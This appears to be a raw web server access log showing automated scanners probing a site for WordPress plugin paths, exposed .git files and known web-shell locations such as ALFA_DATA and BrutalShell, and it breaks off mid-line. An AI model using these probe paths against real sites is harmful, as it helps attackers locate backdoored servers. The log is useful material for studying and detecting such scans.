203.188.168.29 - - [12/Feb/2026:14:44:52 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:52 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:53 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:53 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:53 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:54 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:54 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:54 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:55 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:44:55 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:55 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:56 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:56 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:44:56 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:44:57 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:57 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:57 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:58 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:58 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:59 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:59 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:59 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:59 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:00 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:00 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:45:01 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:45:01 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:01 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:02 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:02 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:02 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:03 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:45:03 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:03 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:45:04 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:04 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:45:04 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:45:05 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:05 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:45:05 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:06 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:06 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:45:06 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:07 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:07 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:07 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:08 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:08 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:45:09 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:45:09 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:09 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:10 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:45:10 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:10 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:45:11 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:11 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:11 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:45:12 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:12 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:12 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:13 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:45:13 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:45:13 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:14 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:14 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:14 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:15 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:15 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:15 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:45:16 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:16 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:16 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:17 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:17 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:17 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:45:18 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:18 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:18 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:19 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:45:19 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:20 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:20 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:20 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:20 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:45:21 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:21 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:45:22 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:22 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:22 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:23 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:23 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:23 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:24 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:24 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:45:24 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:25 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:25 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:45:25 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:45:26 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 54.174.58.251 - - [12/Feb/2026:14:54:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 138.197.83.196 - - [12/Feb/2026:15:28:45 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 172.213.161.82 - - [12/Feb/2026:16:15:02 +0300] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:05 +0300] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:08 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:11 +0300] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 404 796 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:11 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:08 +0300] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:10 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:13 +0300] "GET /wp-content/plugins/duplicator/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:15 +0300] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:17 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:17 +0300] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:25 +0300] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:28 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:29 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:12 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:15 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:18 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:21 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:25 +0300] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:30 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:30 +0300] 